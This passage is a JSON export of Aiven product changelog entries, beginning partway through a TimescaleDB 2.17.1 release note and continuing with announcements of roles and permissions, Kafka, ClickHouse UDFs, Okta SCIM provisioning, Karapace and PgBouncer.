release."}],"markDefs":[{"_key":"fea436e85cb8","_type":"link","href":"https://github.com/timescale/timescaledb/releases"}],"style":"normal"},{"_key":"d4ad2132879c","_type":"block","children":[{"_key":"136e59c153870","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"0255c571a617","_type":"block","children":[{"_key":"4bdd8eebcdfc0","_type":"span","marks":["strong"],"text":"Full PostgreSQL 17 support for all existing features:"},{"_key":"4bdd8eebcdfc1","_type":"span","marks":[],"text":"\nTimescaleDB 2.17.1 is available for PostgreSQL 14, 15, 16, and 17."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"13b359d74a9c","_type":"block","children":[{"_key":"e12da2c8494b0","_type":"span","marks":["strong"],"text":"Significant performance improvements for continuous aggregate policies:"},{"_key":"e12da2c8494b1","_type":"span","marks":[],"text":"\nContinuous aggregate refresh is now using "},{"_key":"e12da2c8494b2","_type":"span","marks":["code"],"text":"merge"},{"_key":"e12da2c8494b3","_type":"span","marks":[],"text":" instead of deleting old materialized data and re-inserting. This update can decrease dramatically the amount of data that must be written on the continuous aggregate in the presence of a small number of changes, reduce the "},{"_key":"e12da2c8494b4","_type":"span","marks":["code"],"text":"i/o"},{"_key":"e12da2c8494b5","_type":"span","marks":[],"text":" cost of refreshing a continuous aggregate, and generate fewer Write-Ahead Logs ("},{"_key":"e12da2c8494b6","_type":"span","marks":["code"],"text":"WAL"},{"_key":"e12da2c8494b7","_type":"span","marks":[],"text":"). Overall, continuous aggregate policies will be more lightweight, use less system resources, and complete faster."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b48cafe99b2e","_type":"block","children":[{"_key":"bd6720034ae10","_type":"span","marks":["strong"],"text":"Increased performance for real-time analytical queries over compressed hypertables:"},{"_key":"bd6720034ae11","_type":"span","marks":[],"text":"\nIntroducing additional Single Instruction, Multiple Data ("},{"_key":"bd6720034ae12","_type":"span","marks":["code"],"text":"SIMD"},{"_key":"bd6720034ae13","_type":"span","marks":[],"text":") vectorization optimization to our engine by supporting vectorized execution for queries that group by using the "},{"_key":"bd6720034ae14","_type":"span","marks":["code"],"text":"segment_by"},{"_key":"bd6720034ae15","_type":"span","marks":[],"text":" column(s) and aggregate using the basic aggregate functions ("},{"_key":"bd6720034ae16","_type":"span","marks":["code"],"text":"sum"},{"_key":"bd6720034ae17","_type":"span","marks":[],"text":", "},{"_key":"bd6720034ae18","_type":"span","marks":["code"],"text":"count"},{"_key":"bd6720034ae19","_type":"span","marks":[],"text":", "},{"_key":"bd6720034ae110","_type":"span","marks":["code"],"text":"avg"},{"_key":"bd6720034ae111","_type":"span","marks":[],"text":", "},{"_key":"bd6720034ae112","_type":"span","marks":["code"],"text":"min"},{"_key":"bd6720034ae113","_type":"span","marks":[],"text":", "},{"_key":"bd6720034ae114","_type":"span","marks":["code"],"text":"max"},{"_key":"bd6720034ae115","_type":"span","marks":[],"text":")"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c90e00aae393","_type":"block","children":[{"_key":"252a93f0c5be0","_type":"span","marks":["strong"],"text":"Improved performance of deletes on compressed hypertables when a large amount of data is affected:"},{"_key":"252a93f0c5be1","_type":"span","marks":[],"text":"\nSpeeding up operations that delete whole segments by skipping the decompression step (enabled for all deletes that filter by "},{"_key":"252a93f0c5be2","_type":"span","marks":["code"],"text":"segment_by"},{"_key":"252a93f0c5be3","_type":"span","marks":[],"text":" columns)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"460dbfc19d0d","_type":"block","children":[{"_key":"14071afe770b0","_type":"span","marks":["strong"],"text":"PostgreSQL 14 deprecation announcement"}],"markDefs":[],"style":"normal"},{"_key":"150b302c21f0","_type":"block","children":[{"_key":"fa1616a7ce8f0","_type":"span","marks":[],"text":"PostgreSQL 14 will be supported until April 2025. Closer to that time, there will be an announcement of the specific version of TimescaleDB in which PostgreSQL 14 support will not be included going forward."}],"markDefs":[],"style":"normal"},{"_key":"c8199957260f","_type":"block","children":[{"_key":"28321b2ff28e0","_type":"span","marks":["strong"],"text":"New features"}],"markDefs":[],"style":"normal"},{"_key":"5e6acf5ab3e4","_type":"block","children":[{"_key":"b82570edf5f30","_type":"span","marks":["1e1e84509313"],"text":"#7360"},{"_key":"b82570edf5f31","_type":"span","marks":[],"text":" Add chunk skipping GUC"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1e1e84509313","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7360"}],"style":"normal"},{"_key":"5707bbf79090","_type":"block","children":[{"_key":"7c9ad05d3d330","_type":"span","marks":["017e7868bca1"],"text":"#6882"},{"_key":"7c9ad05d3d331","_type":"span","marks":[],"text":": Allow delete of full segments on compressed chunks without decompression."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"017e7868bca1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6882"}],"style":"normal"},{"_key":"1f19d32db4e8","_type":"block","children":[{"_key":"e7c721157cbb0","_type":"span","marks":["bf435b590d09"],"text":"#7033"},{"_key":"e7c721157cbb1","_type":"span","marks":[],"text":": Use "},{"_key":"e7c721157cbb2","_type":"span","marks":["code"],"text":"merge"},{"_key":"e7c721157cbb3","_type":"span","marks":[],"text":" statement on continuous aggregates refresh."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bf435b590d09","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7033"}],"style":"normal"},{"_key":"8a23e09b3e5f","_type":"block","children":[{"_key":"f833927718330","_type":"span","marks":["76e6a00076b9"],"text":"#7126"},{"_key":"f833927718331","_type":"span","marks":[],"text":": Add functions to show the compression information."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"76e6a00076b9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7126"}],"style":"normal"},{"_key":"04d9e949375b","_type":"block","children":[{"_key":"11ce3d1226c30","_type":"span","marks":["db7742646b39"],"text":"#7147"},{"_key":"11ce3d1226c31","_type":"span","marks":[],"text":": Vectorize partial aggregation for "},{"_key":"11ce3d1226c32","_type":"span","marks":["code"],"text":"sum(int4)"},{"_key":"11ce3d1226c33","_type":"span","marks":[],"text":" with grouping on "},{"_key":"11ce3d1226c34","_type":"span","marks":["code"],"text":"segment by"},{"_key":"11ce3d1226c35","_type":"span","marks":[],"text":" columns."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"db7742646b39","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7147"}],"style":"normal"},{"_key":"8e6634865ab5","_type":"block","children":[{"_key":"0d7337ae6ff00","_type":"span","marks":["f85ecb429ef8"],"text":"#7204"},{"_key":"0d7337ae6ff01","_type":"span","marks":[],"text":": Track additional extensions in telemetry."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f85ecb429ef8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7204"}],"style":"normal"},{"_key":"2145459be5e1","_type":"block","children":[{"_key":"70c063ae1f1c0","_type":"span","marks":["3a5abb63eb21"],"text":"#7207"},{"_key":"70c063ae1f1c1","_type":"span","marks":[],"text":": Refactor the "},{"_key":"70c063ae1f1c2","_type":"span","marks":["code"],"text":"decompress_batches_scan"},{"_key":"70c063ae1f1c3","_type":"span","marks":[],"text":" functions for easier maintenance."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3a5abb63eb21","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7207"}],"style":"normal"},{"_key":"301ebaa9c80b","_type":"block","children":[{"_key":"d2f5403b125e0","_type":"span","marks":["8a22a5f85e74"],"text":"#7209"},{"_key":"d2f5403b125e1","_type":"span","marks":[],"text":": Add a function to drop the "},{"_key":"d2f5403b125e2","_type":"span","marks":["code"],"text":"osm"},{"_key":"d2f5403b125e3","_type":"span","marks":[],"text":" chunk."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8a22a5f85e74","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7209"}],"style":"normal"},{"_key":"423e3eef5813","_type":"block","children":[{"_key":"751c2a6f91500","_type":"span","marks":["ca2e0bedd1a9"],"text":"#7275"},{"_key":"751c2a6f91501","_type":"span","marks":[],"text":": Add support for the "},{"_key":"751c2a6f91502","_type":"span","marks":["code"],"text":"returning"},{"_key":"751c2a6f91503","_type":"span","marks":[],"text":" clause for "},{"_key":"751c2a6f91504","_type":"span","marks":["code"],"text":"merge"},{"_key":"751c2a6f91505","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ca2e0bedd1a9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7275"}],"style":"normal"},{"_key":"0d23e4b650f1","_type":"block","children":[{"_key":"e990c65b3ffc0","_type":"span","marks":["f15352471ee7"],"text":"#7200"},{"_key":"e990c65b3ffc1","_type":"span","marks":[],"text":": Vectorize common aggregate functions like "},{"_key":"e990c65b3ffc2","_type":"span","marks":["code"],"text":"min"},{"_key":"e990c65b3ffc3","_type":"span","marks":[],"text":", "},{"_key":"e990c65b3ffc4","_type":"span","marks":["code"],"text":"max"},{"_key":"e990c65b3ffc5","_type":"span","marks":[],"text":", "},{"_key":"e990c65b3ffc6","_type":"span","marks":["code"],"text":"sum"},{"_key":"e990c65b3ffc7","_type":"span","marks":[],"text":", "},{"_key":"e990c65b3ffc8","_type":"span","marks":["code"],"text":"avg"},{"_key":"e990c65b3ffc9","_type":"span","marks":[],"text":", "},{"_key":"e990c65b3ffc10","_type":"span","marks":["code"],"text":"stddev"},{"_key":"e990c65b3ffc11","_type":"span","marks":[],"text":", "},{"_key":"e990c65b3ffc12","_type":"span","marks":["code"],"text":"variance"},{"_key":"e990c65b3ffc13","_type":"span","marks":[],"text":" for compressed columns of arithmetic types, when there is grouping on "},{"_key":"e990c65b3ffc14","_type":"span","marks":["code"],"text":"segment by"},{"_key":"e990c65b3ffc15","_type":"span","marks":[],"text":" columns or no grouping."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f15352471ee7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7200"}],"style":"normal"},{"_key":"ea0cca09f58d","_type":"block","children":[{"_key":"145dc179a4500","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"324b25815e13","_type":"block","children":[{"_key":"4232df3dd0480","_type":"span","marks":["de0d56929afa"],"text":"#7335"},{"_key":"4232df3dd0481","_type":"span","marks":[],"text":" Change log level used in compression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"de0d56929afa","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7335"}],"style":"normal"},{"_key":"55828f867d06","_type":"block","children":[{"_key":"e51d39f615700","_type":"span","marks":["fe22cca97d87"],"text":"#7342"},{"_key":"e51d39f615701","_type":"span","marks":[],"text":" Fix collation for in-memory tuple filtering"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fe22cca97d87","_type":"link","href":"https://github.com/timescale/timescaledb/issues/7342"}],"style":"normal"},{"_key":"01d74e78cad5","_type":"block","children":[{"_key":"60aa5cdb8f610","_type":"span","marks":["eb6d742164c6"],"text":"#7187"},{"_key":"60aa5cdb8f611","_type":"span","marks":[],"text":": Fix the string literal length for the "},{"_key":"60aa5cdb8f612","_type":"span","marks":["code"],"text":"compressed_data_info"},{"_key":"60aa5cdb8f613","_type":"span","marks":[],"text":" function."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"eb6d742164c6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7187"}],"style":"normal"},{"_key":"ee3562cc563f","_type":"block","children":[{"_key":"04f58502daf90","_type":"span","marks":["aadddd26391c"],"text":"#7191"},{"_key":"04f58502daf91","_type":"span","marks":[],"text":": Fix creating default indexes on chunks when migrating the data."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"aadddd26391c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7191"}],"style":"normal"},{"_key":"e806b6a3f065","_type":"block","children":[{"_key":"18f3757b66a30","_type":"span","marks":["03211c1cb616"],"text":"#7195"},{"_key":"18f3757b66a31","_type":"span","marks":[],"text":": Fix the "},{"_key":"18f3757b66a32","_type":"span","marks":["code"],"text":"segment by"},{"_key":"18f3757b66a33","_type":"span","marks":[],"text":" and "},{"_key":"18f3757b66a34","_type":"span","marks":["code"],"text":"order by"},{"_key":"18f3757b66a35","_type":"span","marks":[],"text":" checks when dropping a column from a compressed hypertable."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"03211c1cb616","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7195"}],"style":"normal"},{"_key":"46c5d30b3da6","_type":"block","children":[{"_key":"4424946cdd080","_type":"span","marks":["295f0c1a5fb6"],"text":"#7201"},{"_key":"4424946cdd081","_type":"span","marks":[],"text":": Use the generic extension description when building "},{"_key":"4424946cdd082","_type":"span","marks":["code"],"text":"apt"},{"_key":"4424946cdd083","_type":"span","marks":[],"text":" and "},{"_key":"4424946cdd084","_type":"span","marks":["code"],"text":"rpm"},{"_key":"4424946cdd085","_type":"span","marks":[],"text":" loader packages."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"295f0c1a5fb6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7201"}],"style":"normal"},{"_key":"daf5cb72b5a7","_type":"block","children":[{"_key":"4018b1dd6ff50","_type":"span","marks":["ad69ce198a7b"],"text":"#7227"},{"_key":"4018b1dd6ff51","_type":"span","marks":[],"text":": Add an index to the "},{"_key":"4018b1dd6ff52","_type":"span","marks":["code"],"text":"compression_chunk_size"},{"_key":"4018b1dd6ff53","_type":"span","marks":[],"text":" catalog table."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad69ce198a7b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7227"}],"style":"normal"},{"_key":"75ba00e58cdb","_type":"block","children":[{"_key":"fbcbbfd002bf0","_type":"span","marks":["f94936353be5"],"text":"#7229"},{"_key":"fbcbbfd002bf1","_type":"span","marks":[],"text":": Fix the foreign key constraints where the index and the constraint column order are different."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f94936353be5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7229"}],"style":"normal"},{"_key":"37e0bafd59ab","_type":"block","children":[{"_key":"cffe79a27a140","_type":"span","marks":["8b6039a54ecd"],"text":"#7230"},{"_key":"cffe79a27a141","_type":"span","marks":[],"text":": Do not propagate the foreign key constraints to the "},{"_key":"cffe79a27a142","_type":"span","marks":["code"],"text":"osm"},{"_key":"cffe79a27a143","_type":"span","marks":[],"text":" chunk."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8b6039a54ecd","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7230"}],"style":"normal"},{"_key":"d10fd7797142","_type":"block","children":[{"_key":"0672390570a70","_type":"span","marks":["b3de5f173e31"],"text":"#7234"},{"_key":"0672390570a71","_type":"span","marks":[],"text":": Release the cache after accessing the cache entry."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b3de5f173e31","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7234"}],"style":"normal"},{"_key":"f21fb11900dd","_type":"block","children":[{"_key":"74ddb2856bd10","_type":"span","marks":["8c39c5e9c759"],"text":"#7258"},{"_key":"74ddb2856bd11","_type":"span","marks":[],"text":": Force English in the "},{"_key":"74ddb2856bd12","_type":"span","marks":["code"],"text":"pg_config"},{"_key":"74ddb2856bd13","_type":"span","marks":[],"text":" command executed by "},{"_key":"74ddb2856bd14","_type":"span","marks":["code"],"text":"cmake"},{"_key":"74ddb2856bd15","_type":"span","marks":[],"text":" to avoid the unexpected building errors."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8c39c5e9c759","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7258"}],"style":"normal"},{"_key":"2b49459f56c2","_type":"block","children":[{"_key":"acfe89df53d80","_type":"span","marks":["f0bb33a4a769"],"text":"#7270"},{"_key":"acfe89df53d81","_type":"span","marks":[],"text":": Fix the memory leak in compressed DML batch filtering."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f0bb33a4a769","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7270"}],"style":"normal"},{"_key":"07c8126fc82e","_type":"block","children":[{"_key":"80f0fc2806550","_type":"span","marks":["2dab856cb9a1"],"text":"#7286"},{"_key":"80f0fc2806551","_type":"span","marks":[],"text":": Fix the index column check while searching for the index."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2dab856cb9a1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7286"}],"style":"normal"},{"_key":"ff8047278fe3","_type":"block","children":[{"_key":"f821ae4579c80","_type":"span","marks":["2ab6dae7df6d"],"text":"#7290"},{"_key":"f821ae4579c81","_type":"span","marks":[],"text":": Add check for null offset for continuous aggregates built on top of continuous aggregates."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2ab6dae7df6d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7290"}],"style":"normal"},{"_key":"a8925795fa61","_type":"block","children":[{"_key":"305f7a90f9f70","_type":"span","marks":["2821b8a6694a"],"text":"#7301"},{"_key":"305f7a90f9f71","_type":"span","marks":[],"text":": Make foreign key behavior for hypertables consistent."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2821b8a6694a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7301"}],"style":"normal"},{"_key":"3ba0521ad225","_type":"block","children":[{"_key":"09bd4a41b1060","_type":"span","marks":["feab5b7ce116"],"text":"#7318"},{"_key":"09bd4a41b1061","_type":"span","marks":[],"text":": Fix chunk skipping range filtering."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"feab5b7ce116","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7318"}],"style":"normal"},{"_key":"58e0d7c39fea","_type":"block","children":[{"_key":"059a706c79c70","_type":"span","marks":["f0b650510653"],"text":"#7320"},{"_key":"059a706c79c71","_type":"span","marks":[],"text":": Set the license specific extension comment in the install script."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f0b650510653","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7320"}],"style":"normal"}],"publishedAt":"2024-10-30T09:37:00.000Z","tags":[{"_key":"6086b17179bd","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.17.1 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2025-01-06T09:04:31Z","_id":"80dbf676-25e6-4db2-8254-7ab6f818b52b","_rev":"4z4P5EHXiqVc5t2akbyzGc","_type":"changelog","_updatedAt":"2025-01-07T11:41:19Z","changeType":"new","description":[{"_key":"3270523b7a78","_type":"block","children":[{"_key":"3aaf2d7a7e010","_type":"span","marks":[],"text":"Aiven has launched new roles and permissions that let you give users only the access they need for your organization’s resources, boosting security and efficiency."}],"markDefs":[],"style":"normal"},{"_key":"8872dd15f36f","_type":"block","children":[{"_key":"a239737a53870","_type":"span","marks":[],"text":"Key highlights of this feature are:"}],"markDefs":[],"style":"normal"},{"_key":"a567120eab71","_type":"block","children":[{"_key":"01199ecb04300","_type":"span","marks":["strong"],"text":"Roles and permissions at different levels: "},{"_key":"01199ecb04301","_type":"span","marks":[],"text":"Grant access at the organization, unit and project level."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f73a7b02cc4e","_type":"block","children":[{"_key":"7d52339f70450","_type":"span","marks":["strong"],"text":"Tailored access rules:"},{"_key":"7d52339f70451","_type":"span","marks":[],"text":" Assign permissions to individual users or groups, ensuring users only have access they need to do their jobs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"350651b7af59","_type":"block","children":[{"_key":"572a498185240","_type":"span","marks":["strong"],"text":"Streamlined workflows:"},{"_key":"572a498185241","_type":"span","marks":[],"text":" There’s a single "},{"_key":"572a498185242","_type":"span","marks":["1304f39c6681"],"text":"Aiven API"},{"_key":"572a498185243","_type":"span","marks":[],"text":" and "},{"_key":"572a498185244","_type":"span","marks":["81af8d24a88d"],"text":"Aiven Terraform Provider"},{"_key":"572a498185245","_type":"span","marks":[],"text":" resource to grant roles and permissions following the resource, principal, and action methodology."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1304f39c6681","_type":"link","href":"https://api.aiven.io/doc/#tag/Permissions/operation/PermissionsUpdate"},{"_key":"81af8d24a88d","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/organization_permission"}],"style":"normal"},{"_key":"9371683a55b8","_type":"block","children":[{"_key":"55ff77877cae0","_type":"span","marks":[],"text":"Learn more about the "},{"_key":"55ff77877cae1","_type":"span","marks":["cc6616b3c590"],"text":"new roles and permissions"},{"_key":"55ff77877cae2","_type":"span","marks":[],"text":" and get started by "},{"_key":"55ff77877cae3","_type":"span","marks":["eb2579943c17"],"text":"granting access to your organization, units, or projects"},{"_key":"55ff77877cae4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"cc6616b3c590","_type":"link","href":"https://aiven.io/docs/platform/concepts/permissions"},{"_key":"eb2579943c17","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-permissions"}],"style":"normal"}],"publishedAt":"2025-01-07T09:04:00.000Z","tags":[{"_key":"4f10f38156c8","_ref":"8d65be65-39e0-4efa-ad0c-87342113389c","_type":"tool"},{"_key":"86ead4f4e005","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"},{"_key":"31bb36b47e17","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"New granular roles and permissions"} {"__i18n_lang":"en","_createdAt":"2024-07-16T07:07:28Z","_id":"3e85dbb6-8a4e-4fcf-a0ce-a0a9282e2614","_rev":"MDtZ947TmAvJhndHAOoYVQ","_type":"changelog","_updatedAt":"2024-07-16T07:29:36Z","changeType":"improved","description":[{"_key":"0014e301625f","_type":"block","children":[{"_key":"ed115dab59ae0","_type":"span","marks":[],"text":"Aiven for Apache Kafka® has been updated to version 3.6.2, ensuring a smoother upgrade process. With this update, you no longer need to disable "},{"_key":"ed115dab59ae1","_type":"span","marks":["code"],"text":"transaction.partition.verification.enable"},{"_key":"ed115dab59ae2","_type":"span","marks":[],"text":" before upgrading. If you are on a version earlier than 3.6.0, upgrade directly to 3.6.2.\n\nFor assistance, contact the Aiven support team."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-07-08T07:07:00.000Z","tags":[{"_key":"567526e3ac5a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka® version 3.6.2"} {"__i18n_lang":"en","_createdAt":"2024-07-17T08:57:41Z","_id":"d4bb21d8-dc3c-4b7d-a4b4-ec590dae3a9b","_rev":"IN03FCy14OOjYlZR2jue7a","_type":"changelog","_updatedAt":"2024-07-17T08:57:41Z","changeType":"new","description":[{"_key":"a9ce23482b8f","_type":"block","children":[{"_key":"24dc55623cf30","_type":"span","marks":[],"text":"Aiven for ClickHouse allows you to create and use SQL user defined functions (UDFs) to speed up your queries and optimize your application performance. SQL UDFs are automatically replicated to all nodes in the cluster and contained in backups. UDF types other than SQL UDFs, such as executable UDFs, are not supported in Aiven for ClickHouse."}],"markDefs":[],"style":"normal"},{"_key":"c0fbc556818b","_type":"block","children":[{"_key":"2c47209a5d9c0","_type":"span","marks":[],"text":"To learn how to create and use SQL UDFs in Aiven for ClickHouse, see "},{"_key":"2c47209a5d9c1","_type":"span","marks":["0eb1da1d9ed2"],"text":"the documentation"},{"_key":"2c47209a5d9c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"0eb1da1d9ed2","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/sql-user-defined-functions"}],"style":"normal"}],"publishedAt":"2024-07-12T08:32:00.000Z","tags":[{"_key":"567feff129ea","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"SQL UDFs are now supported in Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2024-07-22T12:21:44Z","_id":"4e6365e2-19cb-4418-857a-3d01c85c2f05","_rev":"mr6Ps1Vz8WkVL9G5VROjQ3","_type":"changelog","_updatedAt":"2024-07-22T12:21:44Z","changeType":"new","description":[{"_key":"d15f7231bc86","_type":"block","children":[{"_key":"aaddde835bd40","_type":"span","marks":[],"text":"Aiven now supports user provisioning from Okta using SCIM, streamlining user management and enhancing security. SCIM lets you sync users and groups between Okta and the Aiven platform. This centralization of user management can reduce errors, save time, and improve compliance."}],"markDefs":[],"style":"normal"},{"_key":"659fed112c0c","_type":"block","children":[{"_key":"a077b651f2680","_type":"span","marks":[],"text":"To get started, "},{"_key":"a077b651f2681","_type":"span","marks":["06b7ada9f4ab"],"text":"set up Okta as an identity provider"},{"_key":"a077b651f2682","_type":"span","marks":[],"text":" for your organization and "},{"_key":"a077b651f2683","_type":"span","marks":["3979f3de931b"],"text":"configure SCIM user provisioning"},{"_key":"a077b651f2684","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"06b7ada9f4ab","_type":"link","href":"https://aiven.io/docs/platform/howto/saml/add-okta-idp"},{"_key":"3979f3de931b","_type":"link","href":"https://aiven.io/docs/platform/howto/okta-user-provisioning-with-scim"}],"style":"normal"}],"publishedAt":"2024-07-22T12:20:00.000Z","tags":[{"_key":"6751db4df50d","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"User provisioning with Okta"} {"__i18n_lang":"en","_createdAt":"2024-07-26T13:06:55Z","_id":"fa090c15-b315-4dd1-adf6-2286ca6da6a3","_rev":"7FkI54gkIoGjwSDu3dTuYv","_type":"changelog","_updatedAt":"2024-07-26T13:06:55Z","changeType":"improved","description":[{"_key":"7f39376c0ba3","_type":"block","children":[{"_key":"a4d75500a57e0","_type":"span","marks":[],"text":"This version includes new features and bug fixes, enhancing overall functionality and performance. Key changes in this release include:"}],"markDefs":[],"style":"normal"},{"_key":"ec76ba2c4f9d","_type":"block","children":[{"_key":"1cbf2f6ca8bd0","_type":"span","marks":["strong"],"text":"Features:"}],"markDefs":[],"style":"normal"},{"_key":"c707fc994d35","_type":"block","children":[{"_key":"1640b1467bbb0","_type":"span","marks":["strong"],"text":"Prometheus metrics and instrumentation"},{"_key":"1640b1467bbb1","_type":"span","marks":[],"text":": Added support for Prometheus metrics and instrumentation, enhancing observability and monitoring."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"24607fae9cba","_type":"block","children":[{"_key":"46f3f2af57500","_type":"span","marks":["strong"],"text":"Bug fixes:"}],"markDefs":[],"style":"normal"},{"_key":"a3b2d8051464","_type":"block","children":[{"_key":"35f093067b300","_type":"span","marks":["strong"],"text":"ClientError handling"},{"_key":"35f093067b301","_type":"span","marks":[],"text":": Implemented handling for "},{"_key":"35f093067b302","_type":"span","marks":["code"],"text":"aiohttp.ClientError"},{"_key":"35f093067b303","_type":"span","marks":[],"text":" with a 503 response status, improving error handling."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b6460c19905b","_type":"block","children":[{"_key":"e0e9b84a27eb0","_type":"span","marks":["strong"],"text":"TimeoutError handling"},{"_key":"e0e9b84a27eb1","_type":"span","marks":[],"text":": Added handling for "},{"_key":"e0e9b84a27eb2","_type":"span","marks":["code"],"text":"asyncio.TimeoutError"},{"_key":"e0e9b84a27eb3","_type":"span","marks":[],"text":", to ensure smoother operation under timeout conditions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c77468795905","_type":"block","children":[{"_key":"b35093476a450","_type":"span","marks":["strong"],"text":"Invalid version handling"},{"_key":"b35093476a451","_type":"span","marks":[],"text":": Fixed the issue where an invalid version error was raised for schema version "},{"_key":"b35093476a452","_type":"span","marks":["code"],"text":"0"},{"_key":"b35093476a453","_type":"span","marks":[],"text":". Schema versions greater than or equal to "},{"_key":"b35093476a454","_type":"span","marks":["code"],"text":"0"},{"_key":"b35093476a455","_type":"span","marks":[],"text":" are allowed, enhancing compatibility."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ec86e366af7","_type":"block","children":[{"_key":"bfef4afb94b30","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see the "},{"_key":"bfef4afb94b31","_type":"span","marks":["6d8e5607fc4d"],"text":"Karapace release notes"},{"_key":"bfef4afb94b32","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6d8e5607fc4d","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases/tag/3.15.0"}],"style":"normal"}],"publishedAt":"2024-07-05T13:02:00.000Z","tags":[{"_key":"d560d05bfa2b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.15.0"} {"__i18n_lang":"en","_createdAt":"2024-07-17T13:10:17Z","_id":"177c7a71-e517-4a1a-a7cf-3c50b7cb3671","_rev":"7FkI54gkIoGjwSDu3nI2mB","_type":"changelog","_updatedAt":"2024-07-29T08:41:49Z","changeType":"new","description":[{"_key":"00e6b7d1e338","_type":"block","children":[{"_key":"7823250af7420","_type":"span","marks":[],"text":"The PgBouncer "},{"_key":"c092a0a1c761","_type":"span","marks":["code"],"text":"max_prepared_statements"},{"_key":"4fd116d28c7a","_type":"span","marks":[],"text":" option is now available in the Aiven for PostgreSQL® advanced configuration. When this option is set to a non-zero value, PgBouncer tracks commands related to protocol-level named prepared statements sent by the client in transaction and statement pooling modes."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-07-25T08:41:00.000Z","tags":[{"_key":"899cb7860f92","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Introducing the PgBouncer max_prepared_statements advanced configuration option"} 